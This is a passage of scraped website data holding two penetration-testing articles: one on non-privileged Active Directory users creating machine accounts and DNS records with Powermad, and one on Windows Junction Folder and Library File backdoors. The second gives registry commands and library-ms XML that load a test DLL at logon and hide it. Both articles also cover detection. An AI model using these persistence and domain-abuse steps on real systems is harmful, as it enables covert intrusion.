account's SID is stored in the ms-DS-CreatorSID attribute of the computer account\u003C\u002Fp>\u003Cp>That is, for computer accounts created via MAQ, viewing the ms-DS-CreatorSID attribute can reveal the creator account's SID\u003C\u002Fp>\u003Cp>(3) Computer accounts created via MAQ will be placed in the \"Domain Computers\" group\u003C\u002Fp>\u003Cp>(4) For computer accounts created via MAQ, the following attributes can be modified:\u003C\u002Fp>\u003Cul>\u003Cli>AccountDisabled\u003C\u002Fli>\u003Cli>description\u003C\u002Fli>\u003Cli>displayName\u003C\u002Fli>\u003Cli>DnsHostName\u003C\u002Fli>\u003Cli>ServicePrincipalName\u003C\u002Fli>\u003Cli>userParameters\u003C\u002Fli>\u003Cli>userAccountControl\u003C\u002Fli>\u003Cli>msDS-AdditionalDnsHostName\u003C\u002Fli>\u003Cli>msDS-AllowedToActOnBehalfOfOtherIdentity\u003C\u002Fli>\u003Cli>samAccountName\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The AccountDisabled property can be used to disable this user\u003C\u002Fp>\u003Cp>The userAccountControl property records the user's attribute information. For details, refer to https:\u002F\u002Fsupport.microsoft.com\u002Fen-us\u002Fhelp\u002F305144\u002Fhow-to-use-useraccountcontrol-to-manipulate-user-account-properties\u003C\u002Fp>\u003Cp>(5) Adding a computer account will create the following 4 SPNs:\u003C\u002Fp>\u003Cul>\u003Cli>HOST\u002FMachineAccountName\u003C\u002Fli>\u003Cli>HOST\u002FMachineAccountName.domain.name\u003C\u002Fli>\u003Cli>RestrictedKrbHost\u002FMachineAccountName\u003C\u002Fli>\u003Cli>RestrictedKrbhost\u002FMachineAccountName.domain.name\u003C\u002Fli>\u003C\u002Ful>\u003Cp>(6) Machine accounts do not have local login permissions\u003C\u002Fp>\u003Cp>But commands can be executed via \"runas \u002Fnetonly\"\u003C\u002Fp>\u003Ch2>0x03 Methods for Non-Privileged Users to Create MachineAccounts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. PowerShell Implementation\u003C\u002Fh3>\u003Cp>Requires Powermad\u003C\u002Fp>\u003Cp>The command to create a computer account testNew via MAQ is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>New-MachineAccount -MachineAccount testNew -Password $(ConvertTo-SecureString \"123456789\" -AsPlainText -Force)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View the full properties of the computer account testNew:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-ADComputer testNew -Properties *\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Specifically includes the following properties:\u003C\u002Fp>\u003Cul>\u003Cli>AccountExpirationDate\u003C\u002Fli>\u003Cli>accountExpires\u003C\u002Fli>\u003Cli>AccountLockoutTime\u003C\u002Fli>\u003Cli>AccountNotDelegated\u003C\u002Fli>\u003Cli>AllowReversiblePasswordEncryption\u003C\u002Fli>\u003Cli>AuthenticationPolicy\u003C\u002Fli>\u003Cli>AuthenticationPolicySilo\u003C\u002Fli>\u003Cli>BadLogonCount\u003C\u002Fli>\u003Cli>badPasswordTime\u003C\u002Fli>\u003Cli>badPwdCount\u003C\u002Fli>\u003Cli>CannotChangePassword\u003C\u002Fli>\u003Cli>CanonicalName\u003C\u002Fli>\u003Cli>Certificates\u003C\u002Fli>\u003Cli>CN\u003C\u002Fli>\u003Cli>codePage\u003C\u002Fli>\u003Cli>CompoundIdentitySupported\u003C\u002Fli>\u003Cli>countryCode\u003C\u002Fli>\u003Cli>Created\u003C\u002Fli>\u003Cli>createTimeStamp\u003C\u002Fli>\u003Cli>Deleted\u003C\u002Fli>\u003Cli>Description\u003C\u002Fli>\u003Cli>DisplayName\u003C\u002Fli>\u003Cli>DistinguishedName\u003C\u002Fli>\u003Cli>DNSHostName\u003C\u002Fli>\u003Cli>DoesNotRequirePreAuth\u003C\u002Fli>\u003Cli>dSCorePropagationData\u003C\u002Fli>\u003Cli>Enabled\u003C\u002Fli>\u003Cli>HomedirRequired\u003C\u002Fli>\u003Cli>HomePage\u003C\u002Fli>\u003Cli>instanceType\u003C\u002Fli>\u003Cli>IPv4Address\u003C\u002Fli>\u003Cli>IPv6Address\u003C\u002Fli>\u003Cli>isCriticalSystemObject\u003C\u002Fli>\u003Cli>isDeleted\u003C\u002Fli>\u003Cli>KerberosEncryptionType\u003C\u002Fli>\u003Cli>LastBadPasswordAttempt\u003C\u002Fli>\u003Cli>LastKnownParent\u003C\u002Fli>\u003Cli>lastLogoff\u003C\u002Fli>\u003Cli>lastLogon\u003C\u002Fli>\u003Cli>LastLogonDate\u003C\u002Fli>\u003Cli>localPolicyFlags\u003C\u002Fli>\u003Cli>Location\u003C\u002Fli>\u003Cli>LockedOut\u003C\u002Fli>\u003Cli>logonCount\u003C\u002Fli>\u003Cli>ManagedBy\u003C\u002Fli>\u003Cli>MemberOf\u003C\u002Fli>\u003Cli>MNSLogonAccount\u003C\u002Fli>\u003Cli>Modified\u003C\u002Fli>\u003Cli>modifyTimeStamp\u003C\u002Fli>\u003Cli>mS-DS-CreatorSID\u003C\u002Fli>\u003Cli>msDS-User-Account-Control-Computed\u003C\u002Fli>\u003Cli>Name\u003C\u002Fli>\u003Cli>nTSecurityDescriptor\u003C\u002Fli>\u003Cli>ObjectCategory\u003C\u002Fli>\u003Cli>ObjectClass\u003C\u002Fli>\u003Cli>ObjectGUID\u003C\u002Fli>\u003Cli>objectSid\u003C\u002Fli>\u003Cli>OperatingSystem\u003C\u002Fli>\u003Cli>OperatingSystemHotfix\u003C\u002Fli>\u003Cli>OperatingSystemServicePack\u003C\u002Fli>\u003Cli>OperatingSystemVersion\u003C\u002Fli>\u003Cli>PasswordExpired\u003C\u002Fli>\u003Cli>PasswordLastSet\u003C\u002Fli>\u003Cli>PasswordNeverExpires\u003C\u002Fli>\u003Cli>PasswordNotRequired\u003C\u002Fli>\u003Cli>PrimaryGroup\u003C\u002Fli>\u003Cli>primaryGroupID\u003C\u002Fli>\u003Cli>PrincipalsAllowedToDelegateToAccount\u003C\u002Fli>\u003Cli>ProtectedFromAccidentalDeletion\u003C\u002Fli>\u003Cli>pwdLastSet\u003C\u002Fli>\u003Cli>SamAccountName\u003C\u002Fli>\u003Cli>sAMAccountType\u003C\u002Fli>\u003Cli>sDRightsEffective\u003C\u002Fli>\u003Cli>ServiceAccount\u003C\u002Fli>\u003Cli>servicePrincipalName\u003C\u002Fli>\u003Cli>ServicePrincipalNames\u003C\u002Fli>\u003Cli>SID\u003C\u002Fli>\u003Cli>SIDHistory\u003C\u002Fli>\u003Cli>TrustedForDelegation\u003C\u002Fli>\u003Cli>TrustedToAuthForDelegation\u003C\u002Fli>\u003Cli>UseDESKeyOnly\u003C\u002Fli>\u003Cli>userAccountControl\u003C\u002Fli>\u003Cli>userCertificate\u003C\u002Fli>\u003Cli>UserPrincipalName\u003C\u002Fli>\u003Cli>uSNChanged\u003C\u002Fli>\u003Cli>uSNCreated\u003C\u002Fli>\u003Cli>whenChanged\u003C\u002Fli>\u003Cli>whenCreated\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The Get-ADComputer command requires the ActiveDirectory module, which is typically installed on domain controllers.\u003C\u002Fp>\u003Cp>For systems without the Active Directory module installed, you can import it using the following command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\Microsoft.ActiveDirectory.Management.dll\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Microsoft.ActiveDirectory.Management.dll is generated after installing the PowerShell Active Directory module; I have extracted it and uploaded it to GitHub:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Powermad also supports viewing computer account attributes, but specific attributes to view must be specified.\u003C\u002Fp>\u003Cp>For example, the command to view the servicePrincipalName attribute is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-MachineAccountAttribute -MachineAccount testNew -Attribute servicePrincipalName\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Powermad's Get-MachineAccountCreator command can enumerate the creators of all computer accounts (MachineAccount).\u003C\u002Fp>\u003Cp>To modify computer account attributes, use Powermad's Set-MachineAccountAttribute command, which supports modifying the following attributes:\u003C\u002Fp>\u003Cul>\u003Cli>AccountDisabled\u003C\u002Fli>\u003Cli>description\u003C\u002Fli>\u003Cli>displayName\u003C\u002Fli>\u003Cli>DnsHostName\u003C\u002Fli>\u003Cli>ServicePrincipalName\u003C\u002Fli>\u003Cli>userParameters\u003C\u002Fli>\u003Cli>userAccountControl\u003C\u002Fli>\u003Cli>msDS-AdditionalDnsHostName\u003C\u002Fli>\u003Cli>msDS-AllowedToActOnBehalfOfOtherIdentity\u003C\u002Fli>\u003Cli>SamAccountName\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Example as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Set-MachineAccountAttribute -MachineName testNew -Attribute SamAccountName -Value test\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2.C# Implementation\u003C\u002Fh3>\u003Cp>SharpAllowedToAct includes this functionality\u003C\u002Fp>\u003Cp>I extracted the function for creating a MachineAccount, made simple modifications to support compilation with csc.exe or Visual Studio\u003C\u002Fp>\u003Cp>The complete code has been uploaded to GitHub, address as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>You can use Visual Studio to create a C# project and compile AddMachineAccountofDomain.cs to generate an exe file, or upload AddMachineAccountofDomain.cs to a test environment and compile it using csc.exe\u003C\u002Fp>\u003Cp>The environment using csc.exe for compilation supports .NET 3.5 or higher\u003C\u002Fp>\u003Cp>The compilation command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\csc.exe AddMachineAccountofDomain.cs \u002Fr:System.DirectoryServices.dll,System.DirectoryServices.Protocols.dll\u003Cbr>or\u003Cbr>C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe AddMachineAccountofDomain.cs \u002Fr:System.DirectoryServices.dll,System.DirectoryServices.Protocols.dll\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Method for Non-Privileged Users to Create DNS Records\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Here, you can use Invoke-DNSUpdate.ps1 from Powermad\u003C\u002Fp>\u003Cp>The Invoke-DNSUpdate command supports adding the following records:\u003C\u002Fp>\u003Cul>\u003Cli>A\u003C\u002Fli>\u003Cli>AAAA\u003C\u002Fli>\u003Cli>CNAME\u003C\u002Fli>\u003Cli>MX\u003C\u002Fli>\u003Cli>PTR\u003C\u002Fli>\u003Cli>SRV\u003C\u002Fli>\u003Cli>TXT\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Add an A record for the machine account testNew with the following command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Invoke-DNSUpdate -DNSType A -DNSName testNew -DNSData 192.168.1.111\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The command to delete this record is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Invoke-DNSUpdate -DNSType A -DNSName testNew\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Non-privileged users cannot modify or delete existing records\u003C\u002Fp>\u003Cp>For more details, refer to:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fblog.netspi.com\u002Fexploiting-adidns\u002F\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces methods for creating DNS records and Machine Accounts by non-privileged users within the domain, demonstrating that DNS records can only serve as an auxiliary method for determining the internal network architecture\u003C\u002Fp>\u003Cp>From a defensive perspective, if an attacker only has the permissions of a non-privileged user within the domain, when attempting to create a computer account via MAQ, if they do not obtain higher privileges, they cannot clear attack traces (unable to delete computer accounts created via MAQ). The attacker can be identified by checking the creator of the computer account\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","2026-02-02T08:20:29.495Z",{"title":409,"description":399,"keywords":410,"ogImage":26,"canonicalUrl":26,"noIndex":50},"Domain Penetration: Creating DNS Records & MachineAccounts","domain penetration, DNS records, MachineAccount, non-privileged users, Active Directory, cybersecurity",[],{"docs":413,"hasNextPage":50},[414,421,428,435],{"id":415,"question":416,"answer":417,"answerHtml":417,"slug":418,"keywords":419,"article":146,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":420,"createdAt":420,"_status":61},40,"What attributes can be modified on a machine account created via MAQ, and why is this useful?","Non-privileged users can modify attributes such as AccountDisabled, DnsHostName, ServicePrincipalName (SPN), msDS-AllowedToActOnBehalfOfOtherIdentity, and userAccountControl on machine accounts they create via MAQ. This flexibility allows attackers to enable delegation, set SPNs for Kerberos attacks, or disable the account to avoid detection, as detailed in [Domain Penetration - DNS Records and MachineAccount](\u002Fnews\u002Fdomain-penetration-dns-records-and-machineaccount).","what-attributes-can-be-modified-on-a-machine-account-created-via-maq-and-why-is--1777485455183","machine account attributes, ServicePrincipalName, msDS-AllowedToActOnBehalfOfOtherIdentity, userAccountControl","2026-07-23T16:03:07.058Z",{"id":422,"question":423,"answer":424,"answerHtml":424,"slug":425,"keywords":426,"article":146,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":427,"createdAt":427,"_status":61},39,"How can a non-privileged user create a DNS record for a machine account?","Using the Invoke-DNSUpdate.ps1 script from the Powermad toolkit, a non-privileged user can add various DNS records (A, AAAA, CNAME, etc.) for machine accounts they create. This helps an attacker blend into the network or redirect services. For more on obtaining DNS records before creating them, refer to [Domain Penetration - Obtaining DNS Records with Regular User Privileges](\u002Fnews\u002Fdomain-penetration-obtaining-dns-records-with-regular-user-privileges).","how-can-a-non-privileged-user-create-a-dns-record-for-a-machine-account-1777485455108","DNS records, Invoke-DNSUpdate, Powermad, non-privileged user","2026-07-23T16:03:06.702Z",{"id":429,"question":430,"answer":431,"answerHtml":431,"slug":432,"keywords":433,"article":146,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":434,"createdAt":434,"_status":61},38,"What is the MachineAccountQuota (MAQ) and how can non-privileged users exploit it?","The MachineAccountQuota (MAQ) is a domain attribute that controls how many computer accounts a non-privileged user can create, defaulting to 10. Attackers can use this quota to create machine accounts with tools like Powermad or SharpAllowedToAct, enabling further attacks such as Kerberos delegation abuse. The creator SID is stored in the ms-DS-CreatorSID attribute of the new computer account.","what-is-the-machineaccountquota-maq-and-how-can-non-privileged-users-exploit-it-1777485455058","MachineAccountQuota, MAQ, Powermad, SharpAllowedToAct, Kerberos delegation","2026-07-23T16:03:06.331Z",{"id":436,"question":437,"answer":438,"answerHtml":438,"slug":439,"keywords":440,"article":146,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":441,"createdAt":441,"_status":61},37,"What is a MachineAccount in Active Directory and why is it significant for penetration testing?","A MachineAccount is an account created automatically when a computer joins a domain, with a name ending in '$'. In penetration testing, obtaining a machine account hash (e.g., via DCSync) can be used to forge a Silver Ticket, granting access to specific services. For more on this technique, see the article [Domain Penetration - DNS Records and MachineAccount](\u002Fnews\u002Fdomain-penetration-dns-records-and-machineaccount).","what-is-a-machineaccount-in-active-directory-and-why-is-it-significant-for-penet-1777485454989","MachineAccount, Silver Ticket, DCSync, domain penetration","2026-07-23T16:03:05.701Z",{"title":26,"description":26,"image":26},"2026-07-24T02:07:30.657Z","2026-07-23T16:00:54.701Z",{"id":153,"title":446,"slug":447,"description":448,"content":449,"contentHtml":456,"contentMarkdown":26,"cover":457,"author":43,"views":14,"readingTime":6,"status":45,"publishedAt":407,"seo":471,"tags":474,"qaPairs":475,"meta":506,"updatedAt":507,"createdAt":508,"_status":61},"Penetration Techniques - Backdoor Exploitation of Junction Folders and Library Files","penetration-techniques-backdoor-exploitation-of-junction-folders-and-library-files","Explore backdoor exploitation using Windows Junction Folders and Library Files, with POC, detection methods, and insights from CIA Vault 7 leaks.",{"root":450},{"type":12,"format":13,"indent":14,"version":15,"children":451,"direction":24},[452],{"type":18,"format":13,"indent":14,"version":15,"children":453,"direction":24},[454],{"mode":21,"text":455,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The CIA Vault 7 documents released by WikiLeaks involve the exploitation of Junction Folders and Library Files in Windows systems\u003C\u002Fp>\u003Cp>Links are as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwikileaks.org\u002Fciav7p1\u002Fcms\u002Fpage_13763381.html\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwikileaks.org\u002Fciav7p1\u002Fcms\u002Fpage_13763373.html\u003C\u002Fp>\u003Cp>Jayden Zheng analyzed this, sharing a backdoor exploitation method for Library Files, and detailed how to detect malicious use of Junction Folders and Library Files\u003C\u002Fp>\u003Cp>Links are as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.countercept.com\u002Fblog\u002Fhunting-for-junction-folder-persistence\u002F\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.countercept.com\u002Fblog\u002Fabusing-windows-library-files-for-persistence\u002F\u003C\u002Fp>\u003Cp>Based on the above references, this article will compare Junction Folders and Library Files, further exploit the backdoor method of Library Files (more covert), open-source a POC, and share insights on detection\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Methods of Utilizing Junction Folders\u003C\u002Fli>\u003Cli>Methods of Utilizing Library Files\u003C\u002Fli>\u003Cli>Further Exploitation of Library Files Backdoors\u003C\u002Fli>\u003Cli>Detection and Identification\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Methods of Utilizing Junction Folders\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Junction Folders can be simply understood as folders that can jump to another location\u003C\u002Fp>\u003Cp>Three common methods of creation:\u003C\u002Fp>\u003Cul>\u003Cli>Modifying registry entries\u003C\u002Fli>\u003Cli>Modifying desktop.ini within the folder\u003C\u002Fli>\u003Cli>Using special filenames, such as test.{ED7BA470-8E54-465E-825C-99712043E01C}\u003C\u002Fli>\u003C\u002Ful>\u003Cp>For the third method, specific CLSIDs correspond to specific file paths\u003C\u002Fp>\u003Cp>If we create a CLSID via the registry and specify a DLL path, that DLL will be loaded when opening the folder\u003C\u002Fp>\u003Ch3>1、Practical Testing\u003C\u002Fh3>\u003Cp>Test DLL executes calculator, reference download link:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch4>(1) Modify the registry and add a registry entry\u003C\u002Fh4>\u003Cp>The bat command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InProcServer32\u003Cbr>REG.EXE ADD %KEY% \u002FVE \u002FT REG_SZ \u002FD \"c:\\test\\calc.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY% \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2) Create a new folder test.{11111111-1111-1111-1111-111111111111}\u003C\u002Fh4>\u003Ch4>(3) Select this folder to load calc.dll\u003C\u002Fh4>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>It will only load once; restarting the explorer.exe process can trigger it again\u003C\u002Fp>\u003Ch3>2. Implementation method for automatic system startup loading (user permissions)\u003C\u002Fh3>\u003Ch4>(1) Rename system folders\u003C\u002Fh4>\u003Cp>Rename %appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories to Accessories.{11111111-1111-1111-1111-111111111111}\u003C\u002Fp>\u003Ch4>(2) Create a new folder\u003C\u002Fh4>\u003Cp>Save the folder test.{11111111-1111-1111-1111-111111111111} in any of the following locations:\u003C\u002Fp>\u003Cul>\u003Cli>%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\\u003C\u002Fli>\u003Cli>Subdirectories of %appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x03 Exploitation Methods for Library Files\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>File extension is library-ms, located at %appdata%\\Microsoft\\Windows\\Libraries\u003C\u002Fp>\u003Cp>Official documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fclient-management\u002Fwindows-libraries\u003C\u002Fp>\u003Cp>Simple understanding of Library Files:\u003C\u002Fp>\u003Cp>Can display contents from multiple folders simultaneously\u003C\u002Fp>\u003Ch3>1. Practical testing:\u003C\u002Fh3>\u003Ch4>(1) Modify the registry, add registry entries\u003C\u002Fh4>\u003Cp>Batch command as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>SET KEY=HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\\u003Cbr>REG.EXE ADD %KEY%InProcServer32 \u002FVE \u002FT REG_SZ \u002FD \"c:\\test\\calc.dll\" \u002FF\u003Cbr>REG.EXE ADD %KEY%InProcServer32 \u002FV ThreadingModel \u002FT REG_SZ \u002FD Apartment \u002FF\u003Cbr>REG.EXE ADD %KEY%ShellFolder \u002FV Attributes \u002FT REG_DWORD \u002FD 4035969341 \u002FF\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Compared to Junction Folders, Library Files require an additional registry entry to be added.\u003C\u002Fp>\u003Ch4>(2) Modify %appdata%\\Microsoft\\Windows\\Libraries\\Documents.library-ms\u003C\u002Fh4>\u003Cp>Add the following content in XML format:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    \u003Csearchconnectordescription publisher=\"Microsoft\" product=\"Windows\">\u003Cbr>      \u003Cdescription>@shell32.dll,-34577\u003C\u002Fdescription>\u003Cbr>      \u003Cisdefaultnonownersavelocation>true\u003C\u002Fisdefaultnonownersavelocation>\u003Cbr>      \u003Csimplelocation>\u003Cbr>        \u003Curl>shell:::{11111111-1111-1111-1111-111111111111}\u003C\u002Furl>\u003Cbr>      \u003C\u002Fsimplelocation>\u003Cbr>    \u003C\u002Fsearchconnectordescription>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(3) Access %appdata%\\Microsoft\\Windows\\Libraries\\Documents.library-ms\u003C\u002Fh4>\u003Cp>When opening the file, DLLs will be loaded multiple times; a mutex can be added here to prevent multiple launches. Download link (for demonstration purposes only):\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Noteworthy points:\u003C\u002Fp>\u003Cp>Includes changed from 2 locations to 3 locations\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019761917_0_5b572722a2.jpeg\">\u003C\u002Fp>\u003Cp>By examining this location, the loaded CLSID can be discovered, as shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019774265_1_34930c52bb.jpeg\">\u003C\u002Fp>\u003Ch3>2. Implementation method for system auto-loading at startup (user permissions)\u003C\u002Fh3>\u003Cp>Place the modified Documents.library-ms in any of the following locations:\u003C\u002Fp>\u003Cul>\u003Cli>%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\\u003C\u002Fli>\u003Cli>Subdirectories of %appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Music.library-ms and Pictures.library-ms can also be modified, or even custom-created (with specified display icons)\u003C\u002Fp>\u003Ch2>0x04 Further exploitation of Library Files backdoor\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Regarding the exploitation method of Library Files backdoor, the most obvious characteristic is that the loaded CLSID can be discovered directly from Includes\u003C\u002Fp>\u003Cp>Here is a solution:\u003C\u002Fp>\u003Cp>Clear the path and set it to not display\u003C\u002Fp>\u003Cp>Successfully hide the loaded CLSID, the final effect is as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019786530_2_57b1955ec4.jpeg\">\u003C\u002Fp>\u003Ch3>1. Implementation method\u003C\u002Fh3>\u003Cp>According to the XML format, clear the original \u003Csearchconnectordescription> and add the following code:\u003C\u002Fsearchconnectordescription>\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>    \u003Csearchconnectordescription publisher=\"Microsoft\" product=\"Windows\">\u003Cbr>      \u003Cdescription>@shell32.dll,-34577\u003C\u002Fdescription>\u003Cbr>      \u003Cisdefaultnonownersavelocation>false\u003C\u002Fisdefaultnonownersavelocation>\u003Cbr>      \u003Cissearchonlyitem>true\u003C\u002Fissearchonlyitem>\u003Cbr>      \u003Csimplelocation>\u003Cbr>        \u003Curl>shell:::{11111111-1111-1111-1111-111111111111}\u003C\u002Furl>\u003Cbr>      \u003C\u002Fsimplelocation>\u003Cbr>    \u003C\u002Fsearchconnectordescription>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. POC implemented via PowerShell\u003C\u002Fh3>\u003Cp>After testing, it is not necessary to specify \u003Cownersid>; a fixed template can be used.\u003C\u002Fownersid>\u003C\u002Fp>\u003Cp>The process is as follows:\u003C\u002Fp>\u003Cul>\u003Cli>Modify the registry\u003C\u002Fli>\u003Cli>Release Documents.library-ms in the specified directory\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Points to note in script writing:\u003C\u002Fp>\u003Col>\u003Cli>The output encoding format must be specified as UTF-8; the default UTF-16 (unicode) will cause the library-ms file format to be incorrect.\u003C\u002Fli>\u003Cli>To pass the variable $clsid into the string, double quotes \" must be used for string definition instead of single quotes '\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Complete code can be referenced from:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code implements adding registry entries and creating the file %appdata%\\Microsoft\\Windows\\Libraries\\Documents.library-ms, which loads c:\\test\\calc.dll when the user logs in.\u003C\u002Fp>\u003Ch2>0x05 Detection and Identification\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Regarding the exploitation methods for Junction Folders and Library Files, the special aspects are:\u003C\u002Fp>\u003Cul>\u003Cli>Ordinary user permissions are sufficient\u003C\u002Fli>\u003Cli>The file format is uncommon and highly deceptive\u003C\u002Fli>\u003C\u002Ful>\u003Cp>By combining exploitation methods, each step can be inspected:\u003C\u002Fp>\u003Col>\u003Cli>Check for suspicious DLLs\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Payload must be in DLL format\u003C\u002Fp>\u003Col>\u003Cli>Check for suspicious DLLs under the registry CLSID\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Monitor sensitive registry locations HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID and HKEY_CURRENT_USER\\Software\\Classes\\CLSID\u003C\u002Fp>\u003Col>\u003Cli>For Junction Folders, traverse folders to check if file extensions are associated with suspicious CLSIDs\u003C\u002Fli>\u003C\u002Fol>\u003Cp>For Library Files, traverse library-ms files to check if they are associated with suspicious CLSIDs\u003C\u002Fp>\u003Cp>This can be directly referenced from Jayden Zheng's script:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgist.github.com\u002Fcountercept\u002F6890be67e09ba3daed38fa7aa6298fdf\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article tested exploitation methods for Junction Folders and Library Files, further explored backdoor exploitation methods for Library Files to enhance stealth, open-sourced a POC, discussed considerations for script writing, and finally shared insights on detection\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The CIA Vault 7 